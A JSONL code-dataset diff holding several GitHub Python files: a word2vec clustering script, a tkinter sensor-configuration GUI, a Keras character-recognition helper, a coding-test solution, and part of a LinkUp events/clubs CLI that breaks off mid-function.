diff --git "a/463.jsonl" "b/463.jsonl" new file mode 100644--- /dev/null +++ "b/463.jsonl" @@ -0,0 +1,1477 @@ +{"seq_id":"14624192035","text":"# -*- coding: utf-8 -*\nimport pandas as pd\nimport numpy as np\nfrom datetime import datetime\nimport jieba.analyse\nfrom collections import Counter\nfrom wordcloud import WordCloud\nfrom matplotlib import pyplot as plt\nimport networkx as nx\nimport matplotlib.pyplot as plt\nimport jieba\nimport codecs\nimport jieba.posseg as pseg\n\n\n\n\ndf = pd.read_csv('data.csv')\n\n\n\n#df.drop('Unnamed: 0', axis = 1, inplace = True)\n\nfor i in df.index:\n df.at[i, '資料日期'] = datetime.strptime(df.at[i, '資料日期'], '%Y%m%d %H%M%S')\n\ndf_time = pd.DataFrame()\nfor i in df['Unique ID'].value_counts().index:\n for j in df[df['Unique ID'] == i].reset_index().index :\n df_time.at[i, j] = df[df['Unique ID'] == i].reset_index().at[j, '資料日期']\ndf_time.head()\n\ndf_event = pd.DataFrame()\nfor i in df['Unique ID'].value_counts().index:\n for j in df[df['Unique ID'] == i].reset_index().index :\n df_event.at[i, j] = df[df['Unique ID'] == i].reset_index().at[j, '客戶事件描述']\n#print(df_event.head())\n\nstopWords = []\nwith open('stopwords.txt', 'r',encoding='UTF-8') as file:\n for data in file.readlines():\n data = data.strip()\n stopWords.append(data)\n\nstoplst = [' ', '\\xa0']\nfor words in stoplst:\n stopWords.append(words)\n\n\ndf_terms = pd.read_csv('data.csv')\n\n\nUniqueID=df_terms['Unique ID'].unique()\n\n#print(UniqueID)\n\n\n#df_terms.drop('Unnamed: 0', axis = 1, inplace = True)\n\n\n# error_lst = []\n# terms=[]\n# for i in range(len(df_terms['客戶事件描述'])):\n# try:\n# for j in list(jieba.cut(df_terms['客戶事件描述'][i], cut_all = False)):\n# if j not in stopWords:\n# terms.append(j)\n# except:\n# error_lst.append([i, df_terms['客戶事件描述'][i]])\n\n# sorted(Counter(terms).items(), key=lambda x:x[1], reverse=True)[:10]\n\n\n# wc = WordCloud(background_color = \"white\", width = 1440, height = 900, margin= 2, font_path=\"STHeiti Light.ttc\")\n# wc.generate_from_frequencies(Counter(terms))\n# plt.figure(figsize = (10, 10))\n# plt.imshow(wc)\n# plt.axis(\"off\")\n#plt.show()\n\n\nnames = {} \nrelationships = {} \nlineNames = [] \n\nMyText=np.array(len(UniqueID))\n#print(MyText.shape)\nfor i in range(len(df_terms['客戶事件描述'])):\n try:\n poss = jieba.cut(df_terms['客戶事件描述'][i], cut_all = False)\n lineNames.append([])\n #MyText.append([])\n for w in poss:\n if w not in stopWords:\n #lineNames[-1].append(w) \n\n lineNames[np.min(np.where(df_terms['Unique ID'][i]==UniqueID))].append(w) \n #print(np.min(np.where(df_terms['Unique ID'][i]==UniqueID)))\n #MyText[np.where(df_terms['Unique ID'][i]==UniqueID)].append(w)\n #print(\"W:\",w) \n if names.get(w) is None and w not in stopWords: \n relationships[w] = {} \n except:\n pass\n\n#print(MyText)\nlineNames = list(filter(lambda a: a != [], lineNames))\n#print(lineNames)\n\n\n# coding=utf-8\n# import jieba \n# from hanziconv import HanziConv\n\n# fileTrainRead = []\n# with open('./mytest_corpus.txt') as fileTrainRaw:\n# for line in fileTrainRaw:\n# fileTrainRead.append(HanziConv.toTraditional(line)) \n\n\n#import word2vec\nfrom gensim.models import word2vec\n\n\nmodel=word2vec.Word2Vec(lineNames,size=300)\n# model=word2vec.load(myword2vecmodel.bin)\nmodel.train(lineNames, total_examples=len(lineNames), epochs=1)\n#print(model.vectors)\n#print(model.most_similar(['玉山']))\nvector=model.wv\nprint(vector)\n\n\nterms = ['亞太複合債','IPO','nn','NN','基金','新興市場','環球','新興債','優惠','Q1','Q3','債','中國','亞高'] \ndf = {}\nfor t in terms:\n \n try:\n \tdf[t] = [term for term, score in model.most_similar(t)] \n except:\n \t\n \t\tprint(\"不在詞庫\")\n\ndf = pd.DataFrame(df)\nprint(df)\n\n#IPO NN 基金 環球 新興債 優惠 Q1 Q3 債 中國\n#\nimport numpy as np\n\nimport matplotlib\nimport matplotlib.pyplot as plt\n\nfrom sklearn.decomposition import PCA\nfrom sklearn.cluster import KMeans\n\n# pca = PCA(n_components=2)\n# X = model[model.wv.vocab]\n# result = pca.fit_transform(X)\n# # 可视化展示\n# plt.scatter(result[:, 0], result[:, 1])\n# words = list(model.wv.vocab)\n# for i, word in enumerate(words):\n# \tplt.annotate(word, xy=(result[i, 0], result[i, 1]))\n# plt.show()\n\n\n\n\n\n\n\nkeys=model.wv.vocab.keys()\n \n\nwordvector=[]\nfor key in keys:\n wordvector.append(model[key])\n\n#分类\n# clf = KMeans(n_clusters=5)\n# s = clf.fit(wordvector)\nkmeans_model = KMeans(n_clusters=3, max_iter=100)\n\nX = kmeans_model.fit(wordvector)\nlabels=kmeans_model.labels_.tolist()\n#l = kmeans_model.fit_predict(d2v_model.docvecs.doctag_syn0)\npca = PCA(n_components=2).fit(wordvector)\ndatapoint = pca.transform(wordvector)\n\nimport matplotlib.pyplot as plt\n\nplt.figure\nlabel1 = ['#FFFF00', '#008000', '#0000FF', '#800080']\ncolor = [label1[i] for i in labels]\nplt.scatter(datapoint[:, 0], datapoint[:, 1], c=color)\ncentroids = kmeans_model.cluster_centers_\ncentroidpoint = pca.transform(centroids)\nplt.scatter(centroidpoint[:, 0], centroidpoint[:, 1], marker='x', s=150, c='#000000')\n\n#print(list(model.wv.vocab))\n\nfrom matplotlib.font_manager import FontProperties\nimport matplotlib.pyplot as plt \nmyfont = FontProperties(fname=r'/Users/aldrich/Library/Fonts/wqy-microhei.ttc')\n\nwords = list(model.wv.vocab)\nfor i, word in enumerate(words):\n\t#print(word)\n\t#plt.annotate(i, xy=(datapoint[i, 0], datapoint[i, 1]))\n\tplt.text(datapoint[i, 0], datapoint[i, 1], word,\n fontdict={'size': 2 , 'color': 'r'},fontproperties=myfont)\nplt.show()\n\n","repo_name":"aldrich1221/FinTech_MachineLearning","sub_path":"project1/word2vec.py","file_name":"word2vec.py","file_ext":"py","file_size_in_byte":5578,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39539671306","text":"import tkinter as tk\n\nclass SensorConfig:\n def __init__(self, window):\n self.window = window\n self.sensor_types = []\n self.sample_rates = []\n self.node_addresses = []\n\n self.port_frame = tk.Frame(self.window)\n self.port_frame.pack()\n self.port_label = tk.Label(self.port_frame, text=\"Please enter the COM PORT # for the Wireless Base:\", font=(\"Helvetica\", 16))\n self.port_label.pack(side=\"left\")\n self.port_entry = tk.Entry(self.port_frame, font=(\"Helvetica\", 16))\n self.port_entry.pack(side=\"left\")\n self.error_label = tk.Label(self.port_frame, text=\"\", fg=\"red\", font=(\"Helvetica\", 16))\n self.error_label.pack(side=\"left\")\n\n self.add_sensor_frame = tk.Frame(self.window)\n self.add_sensor_frame.pack()\n self.add_sensor_button = tk.Button(text=\"Add Sensor\", command=self.add_sensor, font=(\"Helvetica\", 16))\n self.add_sensor_button.pack(side=\"left\")\n\n self.collect_button = tk.Button(text=\"Start Collecting\", command=self.start_collecting, font=(\"Helvetica\", 16))\n\n def show(self):\n self.collect_button.pack(anchor='s')\n self.add_sensor()\n\n def add_sensor(self):\n self.collect_button.pack_forget()\n\n sensor_frame = tk.Frame(self.window)\n sensor_frame.pack(anchor='n')\n\n sensor_type_var = tk.StringVar(self.window)\n sensor_type_var.set(\"Acceleration\")\n self.sensor_types.append(sensor_type_var)\n sensor_type_menu = tk.OptionMenu(sensor_frame, sensor_type_var, \"Acceleration\", \"Displacement\", \"Strain\")\n sensor_type_menu.configure(font=(\"Helvetica\", 16))\n sensor_type_menu.pack(side=\"left\")\n\n sample_rate_label = tk.Label(sensor_frame, text=\"Sample Rate (Hz): \", font=(\"Helvetica\", 16))\n sample_rate_label.pack(side=\"left\")\n\n sample_rate_entry = tk.Entry(sensor_frame, font=(\"Helvetica\", 16))\n sample_rate_entry.pack(side=\"left\")\n self.sample_rates.append(sample_rate_entry)\n\n node_address_label = tk.Label(sensor_frame, text=\"Node Address: \", font=(\"Helvetica\", 16))\n node_address_label.pack(side=\"left\")\n\n node_address_entry = tk.Entry(sensor_frame, font=(\"Helvetica\", 16))\n node_address_entry.pack(side=\"left\")\n self.node_addresses.append(node_address_entry)\n\n self.collect_button.pack(anchor='s')\n\n def start_collecting(self):\n com_port = self.port_entry.get()\n\n if com_port.isdigit() and 1 <= int(com_port) <= 99:\n valid_entries = True\n\n for sample_rate_entry in self.sample_rates:\n if not sample_rate_entry.get().isdigit():\n self.error_label.config(text=\"Please enter a valid Sample Rate\")\n valid_entries = False\n for node_address_entry in self.node_addresses:\n if not node_address_entry.get().isdigit():\n self.error_label.config(text=\"Please enter a valid Sample Rate\")\n valid_entries = False\n\n if valid_entries:\n self.com_port_selected = com_port\n self.sensor_types_values = [sensor_type_var.get() for sensor_type_var in self.sensor_types]\n self.sample_rates_values = [sample_rate_entry.get() for sample_rate_entry in self.sample_rates]\n self.node_addresses_values = [node_address_entry.get() for node_address_entry in self.node_addresses]\n self.window.destroy()\n else:\n self.error_label.config(text=\"Please enter a valid COM PORT #\")\n\n def get_sensor_config(self):\n return self.com_port_selected, self.sensor_types_values, self.sample_rates_values, self.node_addresses_values","repo_name":"Dr-B-AskLab/fhwa-cloud-transmission","sub_path":"sensor_config.py","file_name":"sensor_config.py","file_ext":"py","file_size_in_byte":3733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16665423091","text":"from keras.models import load_model\nfrom PIL import Image\nimport cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nmodel = load_model(\"./kerasmodels/omk1\")\n\ndef predict(path):\n\tx1 = cv2.imread(path, cv2.IMREAD_GRAYSCALE)\n\t(thresh, x2) = cv2.threshold(x1, 128, 255, cv2.THRESH_BINARY | cv2.THRESH_OTSU)\n\tx3 = cv2.bitwise_not(x2)\n\tkernel = np.ones((5,5),np.uint8)\n\tx4 = cv2.morphologyEx(x3, cv2.MORPH_OPEN, kernel)\n\tx5 = cv2.morphologyEx(x4, cv2.MORPH_CLOSE, kernel)\n\n\tx6 = Image.fromarray(x5)\n\tx7 = Image.new('L',(256,256), 0)\n\tx6w,x6h = x6.size\n\tx7w,x7h = x7.size\n\toffset = ((x7w - x6w)/2, (x7h - x6h)/2)\n\tx7.paste(x6,offset)\n\tx8 = np.asarray(x7)\n\n\tx9 = cv2.resize(x8, (64,64), interpolation = cv2.INTER_NEAREST)\n\tplt.imshow(x9)\n\tplt.show()\n\n\tz = model.predict(x9.reshape((1,64,64,1)))[0]\n\t#print(z, z.shape)\n\tz1 = np.where(z>0.5)[0]+2304\n\treturn z1","repo_name":"Omkar-ML/Devanagari-Character-Recognition","sub_path":"modelapi.py","file_name":"modelapi.py","file_ext":"py","file_size_in_byte":855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"72869454595","text":"'''\n- 두 집합의 교집합 크기 / 두 집합의 합집합 크기 \n- 공집합인 경우 -> 유사도는 1\n- \n'''\n\n\nstr1 = 'FRANCE'\t\nstr2 = 'french'\t\t\nstr1 = 'handshake'\t\nstr2 = 'shake hands'\t\t\nstr1 = 'aa1+aa2'\t\nstr2 = 'AAAA12'\t\t\n\nfrom string import ascii_lowercase\nimport copy \nalpLst = list(ascii_lowercase)\n\ndef solution(str1, str2):\n ans = 0\n \n str1 = str1.lower()\n str2 = str2.lower()\n \n firLst = list(str1.lower())\n secLst = list(str2.lower())\n \n\n tmp1, tmp2 = [], []\n \n \n for i in range(0, len(firLst)-1):\n t1 = ''\n t1 = firLst[i] + firLst[i+1]\n for i in range(2):\n if t1[i] not in alpLst:\n break \n else:\n tmp1.append(t1)\n \n \n for i in range(0, len(secLst)-1):\n t2 = ''\n t2 = secLst[i] + secLst[i+1]\n for i in range(2):\n if t2[i] not in alpLst:\n break\n else:\n tmp2.append(t2)\n\n firLst = copy.deepcopy(tmp1)\n secLst = copy.deepcopy(tmp2)\n \n\n \n dic1, dic2 = {}, {} \n for s in firLst:\n if s in dic1.keys():\n dic1[s] += 1 \n else:\n dic1[s] = 1 \n \n for s in secLst:\n if s in dic2.keys():\n dic2[s] += 1 \n else:\n dic2[s] = 1 \n\n #count \n a, b = 0, 0 \n \n #교 \n for i in set(firLst+secLst):\n if i in dic1.keys() and i in dic2.keys():\n a += min(dic1[i], dic2[i])\n b += max(dic1[i], dic2[i])\n \n elif (i in dic1.keys()) and (i not in dic2.keys()):\n b += dic1[i]\n \n else:\n b += dic2[i]\n \n if a == 0 and b == 0:\n ans = 1 * 65536\n else:\n ans = int((a/b)*65536)\n return ans\n\n\nprint(solution(str1, str2))","repo_name":"guymoon/Algorithm-Study","sub_path":"gimoon/kakao_뉴스클러스터링.py","file_name":"kakao_뉴스클러스터링.py","file_ext":"py","file_size_in_byte":1820,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16203195008","text":"#!/usr/bin/python3\r\n\r\nimport json\r\nimport os\r\nimport re\r\nfrom argparse import ArgumentParser, Namespace\r\nfrom datetime import datetime\r\nfrom typing import Optional, Union\r\nfrom urllib.error import HTTPError\r\nfrom urllib.request import Request, urlopen\r\n\r\n# Public endpoints for LinkUp API\r\nwebsite_url = \"https://linkupevents.com\"\r\nevent_endpoint = \"https://dev-api.linkupevents.com.au/event?id=\"\r\nevents_endpoint = \"https://dev-api.linkupevents.com.au/events?uni=unsw\"\r\nevents_last_updated_endpoint = (\r\n \"https://dev-api.linkupevents.com.au/last-updated?uni=unsw\"\r\n)\r\nclubs_endpoint = \"https://api.linkupevents.com.au/unsw/clubs?hitsPerPage=1000000\"\r\n\r\n# File to save cached events data\r\ncache_path = os.path.join(os.path.expanduser(\"~\"), \".cache\", \"linkup\")\r\ncache_events_path = os.path.join(cache_path, \"events.json\")\r\ncache_clubs_path = os.path.join(cache_path, \"clubs.json\")\r\n\r\n# These columns must be @property in their respective classes\r\ndefault_events_header = [\"name\", \"hosts\", \"start\", \"facebook\"]\r\ndefault_clubs_header = [\"name\", \"short_name\", \"facebook\"]\r\ndefault_event_sort = \"start\"\r\ndefault_club_sort = \"name\"\r\n\r\ndate_format = r\"%Y-%m-%d %H:%M\"\r\nISO = datetime.fromisoformat\r\nnow_dt = datetime.now()\r\n\r\n\r\nclass RequestError(Exception):\r\n def __init__(self, message: str = \"\"):\r\n self.message = message\r\n\r\n\r\nclass Event:\r\n\r\n _property_names = None\r\n\r\n @staticmethod\r\n def _columns() -> set[str]:\r\n # Get @property method names only\r\n # Other methods should have _ prefix\r\n if Event._property_names is None:\r\n props = (x for x in dir(Event) if not x.startswith(\"_\"))\r\n Event._property_names = set(props)\r\n return Event._property_names\r\n\r\n @staticmethod\r\n def _validate_columns(columns: list[str]) -> bool:\r\n cs = Event._columns()\r\n return all(x in cs for x in columns)\r\n\r\n def __init__(self, event_data: dict):\r\n event_data = dict(event_data)\r\n event_data[\"time_start\"] = datetime.fromisoformat(event_data[\"time_start\"])\r\n event_data[\"time_finish\"] = datetime.fromisoformat(event_data[\"time_finish\"])\r\n event_data[\"hosts_image\"] = []\r\n event_data[\"hosts_no_image\"] = []\r\n for host in event_data[\"hosts\"]:\r\n if host[\"image\"] is None or host[\"image\"].endswith(\"/default.jpg\"):\r\n event_data[\"hosts_no_image\"].append(host)\r\n else:\r\n event_data[\"hosts_image\"].append(host)\r\n del event_data[\"hosts\"]\r\n self.event = event_data\r\n\r\n @property\r\n def id(self) -> str:\r\n return self.event[\"id\"]\r\n\r\n @property\r\n def facebook(self) -> str:\r\n return \"https://www.facebook.com/events/\" + self.event[\"id\"]\r\n\r\n @property\r\n def name(self) -> str:\r\n return self.event[\"title\"]\r\n\r\n @property\r\n def start(self) -> str:\r\n return self.event[\"time_start\"].strftime(date_format)\r\n\r\n @property\r\n def finish(self) -> str:\r\n return self.event[\"time_finish\"].strftime(date_format)\r\n\r\n @property\r\n def location(self) -> str:\r\n return self.event[\"location\"] if self.event[\"location\"] else \"\"\r\n\r\n @property\r\n def hosts(self) -> str:\r\n hosts = self.event[\"hosts_image\"]\r\n if len(hosts) == 0:\r\n hosts = self.event[\"hosts_no_image\"]\r\n host_names = map(lambda x: x[\"name\"], hosts)\r\n return \", \".join(host_names)\r\n\r\n @property\r\n def categories(self) -> str:\r\n return \", \".join(self.event[\"categories\"])\r\n\r\n @property\r\n def image(self) -> str:\r\n return self.event[\"image_url\"]\r\n\r\n @property\r\n def description(self) -> str:\r\n return self.event[\"description\"] if self.event[\"description\"] else \"\"\r\n\r\n def __str__(self) -> str:\r\n return self.name\r\n\r\n def __repr__(self) -> str:\r\n return self.__str__()\r\n\r\n\r\nclass Club:\r\n\r\n _property_names = None\r\n\r\n @staticmethod\r\n def _columns() -> set[str]:\r\n # Get @property method names only\r\n # Other methods should have _ prefix\r\n if Club._property_names is None:\r\n props = (x for x in dir(Club) if not x.startswith(\"_\"))\r\n Club._property_names = set(props)\r\n return Club._property_names\r\n\r\n @staticmethod\r\n def _validate_columns(columns: list[str]) -> bool:\r\n cs = Club._columns()\r\n return all(x in cs for x in columns)\r\n\r\n def __init__(self, club_data: dict):\r\n club_data = dict(club_data)\r\n club_data[\"tags\"].extend(club_data[\"categories\"])\r\n club_data[\"tags\"].sort()\r\n del club_data[\"categories\"]\r\n self.club = club_data\r\n\r\n @property\r\n def short_name(self) -> str:\r\n if self.club[\"club_shorthand\"] == self.club[\"club_name\"]:\r\n return \"\"\r\n return self.club[\"club_shorthand\"]\r\n\r\n @property\r\n def name(self) -> str:\r\n return self.club[\"club_name\"]\r\n\r\n @property\r\n def description(self) -> str:\r\n return self.club[\"description\"]\r\n\r\n @property\r\n def tags(self) -> str:\r\n return \", \".join(self.club[\"tags\"])\r\n\r\n @property\r\n def website(self) -> str:\r\n url = self.club[\"socials\"].get(\"website\")\r\n if not url:\r\n return \"\"\r\n if url.startswith(\"http://\"):\r\n return f\"https://{url[7:]}\"\r\n if not url.startswith(\"https://\"):\r\n return f\"https://{url}\"\r\n return url\r\n\r\n @property\r\n def email(self) -> str:\r\n return self.club[\"socials\"].get(\"email\", \"\")\r\n\r\n @property\r\n def facebook(self) -> str:\r\n return self.club[\"socials\"].get(\"facebook_page\", \"\")\r\n\r\n @property\r\n def facebook_group(self) -> str:\r\n return self.club[\"socials\"].get(\"facebook_group\", \"\")\r\n\r\n def __str__(self) -> str:\r\n return self.name\r\n\r\n def __repr__(self) -> str:\r\n return self.__str__()\r\n\r\n\r\nClubOrEvent = Union[Club, Event]\r\n\r\n\r\nremove_repeated_symbols = re.compile(r\"[\\*\\-\\_]{3,}\")\r\nremove_repeated_whitespace = re.compile(r\"\\s +\")\r\n\r\n\r\ndef cleanse_text(s: str, no_emojis: bool) -> str:\r\n if no_emojis:\r\n # Replace emojis with spaces\r\n s = \"\".join(map(lambda x: x if ord(x) < 256 else \" \", s))\r\n # No newlines\r\n s = s.replace(\"\\n\", \" \")\r\n # Annoying repeated symbols\r\n s = re.sub(remove_repeated_symbols, \" \", s)\r\n # Repeated whitespace\r\n return re.sub(remove_repeated_whitespace, \" \", s).strip()\r\n\r\n\r\ndef parse_args() -> Namespace:\r\n def add_common_args(subparser: ArgumentParser):\r\n subparser.add_argument(\"--limit\", type=int, help=\"Maximum rows to display\")\r\n subparser.add_argument(\"--order-by\", nargs=\"+\")\r\n subparser.add_argument(\"--columns\", \"--select\", nargs=\"+\")\r\n subparser.add_argument(\"--no-emojis\", action=\"store_true\")\r\n subparser.add_argument(\"-o\", \"--output\", choices=[\"table\", \"lines\"])\r\n\r\n # ---- Main parser ----\r\n\r\n help_text = (\r\n \"Welcome to the LinkUp CLI. \" f\"A web version is available at {website_url}\"\r\n )\r\n parser = ArgumentParser(description=help_text)\r\n subs = parser.add_subparsers(dest=\"mode\")\r\n\r\n # ---- Events subparser ----\r\n\r\n help_text = f\"A web version is available at {website_url}/events\"\r\n events_parser = subs.add_parser(\"events\", description=help_text)\r\n add_common_args(events_parser)\r\n\r\n events_parser.add_argument(\"--id\", type=int, help=\"Facebook event ID\")\r\n m = events_parser.add_mutually_exclusive_group()\r\n m.add_argument(\"--before\", type=ISO, help=\"Format: 2022-01-31T09:30\")\r\n m.add_argument(\"--after\", type=ISO, help=\"Format: 2022-01-31T09:30\")\r\n m.add_argument(\"--date\", type=ISO, help=\"Format: 2022-01-31\")\r\n events_parser.add_argument(\"--name\")\r\n events_parser.add_argument(\"--host\")\r\n events_parser.add_argument(\"--description\")\r\n events_parser.add_argument(\"--search\")\r\n\r\n # ---- Clubs subparser ----\r\n\r\n help_text = f\"A web version is available at {website_url}/clubs\"\r\n clubs_parser = subs.add_parser(\"clubs\", description=help_text)\r\n add_common_args(clubs_parser)\r\n\r\n clubs_parser.add_argument(\"--name\")\r\n clubs_parser.add_argument(\"--description\")\r\n clubs_parser.add_argument(\"--search\")\r\n\r\n # ---- End parsing and validate ----\r\n\r\n args = parser.parse_args()\r\n\r\n if args.mode is None:\r\n parser.print_help()\r\n exit(1)\r\n\r\n if args.mode == \"events\":\r\n validate_columns = Event._validate_columns\r\n available_columns = sorted(Event._columns())\r\n else:\r\n validate_columns = Club._validate_columns\r\n available_columns = sorted(Club._columns())\r\n\r\n if getattr(args, \"limit\", None) is not None and args.limit <= 0:\r\n parser.error(\"--limit must be a positive integer\")\r\n\r\n if getattr(args, \"search\", None) is not None:\r\n if (\r\n getattr(args, \"name\", None)\r\n or getattr(args, \"host\", None)\r\n or getattr(args, \"description\", None)\r\n ):\r\n # --search already includes text from these attributes\r\n # hence it doesn't make sense to have them together\r\n parser.error(\"--search cannot be used with --name, --host, --description\")\r\n\r\n if getattr(args, \"order_by\", None) is not None:\r\n try:\r\n # Some column names can have underscore prefix\r\n # for descending sort. Convert args into\r\n # list[tuple[str, bool]] with sort direction.\r\n args.order_by = validate_sort_columns(args.order_by)\r\n if not validate_columns([x[0] for x in args.order_by]):\r\n raise ValueError(\"Valid columns: \" + \", \".join(available_columns))\r\n except ValueError as e:\r\n parser.error(str(e))\r\n\r\n if getattr(args, \"columns\", None) is not None:\r\n if validate_columns(args.columns):\r\n # Remove duplicate columns\r\n args.columns = list(dict.fromkeys(args.columns))\r\n else:\r\n parser.error(\"Valid columns: \" + \", \".join(available_columns))\r\n\r\n return args\r\n\r\n\r\ndef validate_sort_columns(order_by: list[str]) -> list[tuple]:\r\n # Strip prefixes and determine sort direction\r\n order_by_directions = []\r\n check_dupes = {}\r\n for col in order_by:\r\n if col.startswith(\"_\"):\r\n col = col[1:]\r\n if check_dupes.get(col) == False:\r\n raise ValueError(\r\n f\"Cannot sort both ascending and descending for '{col}'\"\r\n )\r\n if col not in check_dupes:\r\n order_by_directions.append((col, True))\r\n check_dupes[col] = True\r\n else:\r\n if check_dupes.get(col) == True:\r\n raise ValueError(\r\n f\"Cannot sort both ascending and descending for '{col}'\"\r\n )\r\n if col not in check_dupes:\r\n order_by_directions.append((col, False))\r\n check_dupes[col] = False\r\n\r\n return order_by_directions\r\n\r\n\r\ndef to_table_row(obj: ClubOrEvent, columns: list[str], no_emojis: bool) -> list[str]:\r\n # Must have at least one column\r\n if not columns:\r\n raise ValueError\r\n\r\n row_values = []\r\n for column in columns:\r\n cell_value = getattr(obj, column)\r\n displayed_text = cleanse_text(cell_value, no_emojis)\r\n row_values.append(displayed_text)\r\n\r\n return row_values\r\n\r\n\r\ndef pprint_table(\r\n table: list[list[str]], header: list[str], max_width: int, no_swap: bool = True\r\n):\r\n # Don't print empty tables\r\n if len(table) == 0:\r\n return\r\n\r\n # List of column maximum widths to determine extra spaces to print\r\n col_width = [max(len(x) for x in col) for col in zip(header, *table)]\r\n table_width = sum(col_width) + 3 * len(col_width) + 1\r\n\r\n # Swap to \"lines\" mode if table exceeds max_width\r\n if not no_swap and table_width > max_width:\r\n pprint_lines(table, header, max_width)\r\n return\r\n\r\n pprint_row = lambda row: print(\r\n \"| \"\r\n + \" | \".join(\"{:{}}\".format(x, col_width[i]) for i, x in enumerate(row))\r\n + \" |\"\r\n )\r\n\r\n print(\"-\" * table_width)\r\n pprint_row(header)\r\n print(\"-\" * table_width)\r\n\r\n for line in table:\r\n pprint_row(line)\r\n\r\n print(\"-\" * table_width)\r\n\r\n\r\ndef pprint_lines(table: list[list[str]], header: list[str], max_width: int):\r\n # Don't print empty tables\r\n if len(table) == 0:\r\n return\r\n\r\n left_col_width = max(len(x) for x in header)\r\n right_col_width = max_width - left_col_width - 3\r\n if left_col_width <= 0 or right_col_width <= 0:\r\n raise ValueError(\"Invalid columns widths\")\r\n\r\n def print_word_buffer(buf: list[str], header_name: Optional[str]):\r\n line_value = \" \".join(buf)\r\n if header_name is None:\r\n padding = \" \" * (left_col_width + 3)\r\n print(padding + line_value)\r\n else:\r\n print(f\"{header_name:>{left_col_width}} = {line_value}\")\r\n\r\n for line in table:\r\n for i in range(len(header)):\r\n buf = []\r\n words_length = 0\r\n first_line = True\r\n if line[i] == \"\":\r\n print_word_buffer([], header[i])\r\n continue\r\n words = line[i].split(\" \")\r\n for word in words:\r\n possible_line_length = words_length + len(word) + max(len(buf) - 1, 0)\r\n if possible_line_length <= right_col_width:\r\n buf.append(word)\r\n else:\r\n # Flush buffer, then add current word\r\n print_word_buffer(buf, header[i] if first_line else None)\r\n buf.clear()\r\n buf.append(word)\r\n words_length = 0\r\n first_line = False\r\n words_length += len(word)\r\n # There are still words in the buffer\r\n if words_length > 0:\r\n print_word_buffer(buf, header[i] if first_line else None)\r\n print()\r\n\r\n\r\ndef filter_events(events: list[Event], args: Namespace) -> list[Event]:\r\n # No filtering arguments used so just return here\r\n if not (\r\n args.name\r\n or args.host\r\n or args.before\r\n or args.after\r\n or args.date\r\n or args.search\r\n or args.description\r\n ):\r\n return events\r\n\r\n name_fields = [\"name\"]\r\n hosts_fields = [\"hosts\"]\r\n desc_fields = [\"description\"]\r\n search_all_fields = [\"name\", \"hosts\", \"description\", \"categories\"]\r\n\r\n matched = []\r\n for event in events:\r\n if args.name:\r\n if attribute_not_match(event, args.name, name_fields):\r\n continue\r\n if args.host:\r\n if attribute_not_match(event, args.host, hosts_fields):\r\n continue\r\n if args.description:\r\n if attribute_not_match(event, args.description, desc_fields):\r\n continue\r\n if args.search:\r\n if attribute_not_match(event, args.search, search_all_fields):\r\n continue\r\n if args.before:\r\n if event.event[\"time_start\"] >= args.before:\r\n continue\r\n if args.after:\r\n if event.event[\"time_start\"] <= args.after:\r\n continue\r\n if args.date:\r\n if event.event[\"time_start\"].date() != args.date.date():\r\n continue\r\n matched.append(event)\r\n\r\n return matched\r\n\r\n\r\ndef filter_clubs(clubs: list[Club], args: Namespace) -> list[Club]:\r\n if not (args.name or args.description or args.search):\r\n return clubs\r\n\r\n name_fields = [\"name\", \"short_name\"]\r\n desc_fields = [\"description\"]\r\n search_all_fields = [\"name\", \"short_name\", \"description\"]\r\n\r\n matched = []\r\n for club in clubs:\r\n if args.name:\r\n if attribute_not_match(club, args.name, name_fields):\r\n continue\r\n if args.description:\r\n if attribute_not_match(club, args.description, desc_fields):\r\n continue\r\n if args.search:\r\n if attribute_not_match(club, args.search, search_all_fields):\r\n continue\r\n matched.append(club)\r\n\r\n return matched\r\n\r\n\r\ndef attribute_not_match(obj: ClubOrEvent, expected: str, attrs: list[str]) -> bool:\r\n actual_values = \" \".join(getattr(obj, attr) for attr in attrs)\r\n return expected.lower() not in actual_values.lower()\r\n\r\n\r\ndef sort_objects(\r\n objs: list[ClubOrEvent], args: Namespace, default_key: str\r\n) -> list[ClubOrEvent]:\r\n\r\n # Sort by default\r\n if not args.order_by:\r\n return sorted(objs, key=lambda x: getattr(x, default_key))\r\n\r\n # Sort strings as tuples of their ord(x) values\r\n def create_sort_key(obj: ClubOrEvent) -> tuple:\r\n keys = []\r\n for col, reverse in args.order_by:\r\n # Sort by lowercase string\r\n text_value = getattr(obj, col).lower()\r\n key = tuple((-ord(x) if reverse else ord(x)) for x in text_value)\r\n keys.append(key)\r\n return tuple(keys)\r\n\r\n # Sort by custom ordering\r\n return sorted(objs, key=create_sort_key)\r\n\r\n\r\ndef request_get(url: str) -> str:\r\n r = Request(url)\r\n r.add_header(\"User-Agent\", \"linkup-cli\")\r\n with urlopen(r) as response:\r\n return response.read().decode(\"utf-8\")\r\n\r\n\r\ndef fetch_event_by_id(uid: int) -> Event:\r\n try:\r\n response_text = request_get(event_endpoint + str(uid))\r\n raw_event = json.loads(response_text)\r\n return Event(raw_event)\r\n except HTTPError:\r\n raise RequestError(\"Event not found\")\r\n\r\n\r\ndef fetch_all_events() -> tuple[list[Event], Optional[str]]:\r\n last_updated = fetch_last_update_time()\r\n\r\n if last_updated:\r\n raw_events = load_cached_events(last_updated)\r\n else:\r\n raw_events = None\r\n\r\n if not raw_events:\r\n try:\r\n response_text = request_get(events_endpoint)\r\n raw_events = json.loads(response_text)\r\n if last_updated:\r\n save_cached_events(last_updated, raw_events)\r\n except HTTPError:\r\n raise RequestError(\"Failed to load events from API\")\r\n\r\n return [Event(e) for e in raw_events], last_updated\r\n\r\n\r\ndef fetch_last_update_time() -> Optional[str]:\r\n try:\r\n s = request_get(events_last_updated_endpoint)\r\n return s.strip('\"')\r\n except HTTPError:\r\n pass\r\n\r\n\r\ndef fetch_all_clubs() -> list[Club]:\r\n raw_clubs = load_cached_clubs()\r\n if not raw_clubs:\r\n try:\r\n response_text = request_get(clubs_endpoint)\r\n club_page_response = json.loads(response_text)\r\n if not club_page_response[\"is_success\"]:\r\n raise RequestError(\"Failed to load clubs from API\")\r\n raw_clubs = club_page_response[\"clubs\"]\r\n save_cached_clubs(raw_clubs)\r\n except HTTPError:\r\n raise 